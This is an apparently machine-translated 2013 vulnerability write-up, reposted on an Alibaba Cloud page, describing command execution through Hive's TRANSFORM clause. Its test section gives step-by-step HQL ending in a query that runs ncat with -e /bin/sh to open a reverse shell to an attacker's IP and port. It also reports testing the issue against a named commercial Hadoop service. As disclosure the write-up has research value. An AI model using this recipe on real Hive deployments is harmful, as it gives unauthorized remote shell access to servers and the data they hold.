Hive arbitrary command/Code Execution Vulnerability + penetration instance

Source: Internet
Author: User
Tags call shell treasure data

Date: 2013-02-9

Hive is the basic architecture of data warehouse built on Hadoop. It provides a series of tools for data extraction, conversion, and loading (ETL). This is a mechanism for storing, querying, and analyzing large-scale data stored in Hadoop. Hive defines a simple SQL-like query language called QL, which allows users familiar with SQL to query data. At the same time, this language also allows developers familiar with MapReduce to develop custom mapper and reducer to handle complicated analysis tasks that cannot be completed by built-in mapper and reducer.

Vulnerability details:

HQL can use transform to customize the Map/Reduce script used by Hive, so as to call shell/python and other languages. As a result, attackers can directly obtain server permissions through hive interfaces and other related operations.

Test code:

Create a new/root/test file with the content of 1 (or any int-type number)
Create test table
Create table if not exists kindle (id int );
Import data (this step is critical and no data can trigger the vulnerability)
Load data local inpath'/root/test' into table kindle;
Use transform to customize the shell commands used by hive, and reverse the shell
Select transform (id) USING '/usr/bin/ncat-e/bin/sh ip port' from kindle;
Delete test table
Drop table kindle;

-------------- Evil split line ------------

 

Case studies:

Test the Treasure Data cluster (Hadoop-based Big Data as a Service on the Cloud | Treasure Data)

Process:

 

Repair status:

The Treasure Data official website has been notified, and www.2cto.com has been fixed, as shown in the Official Reply

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.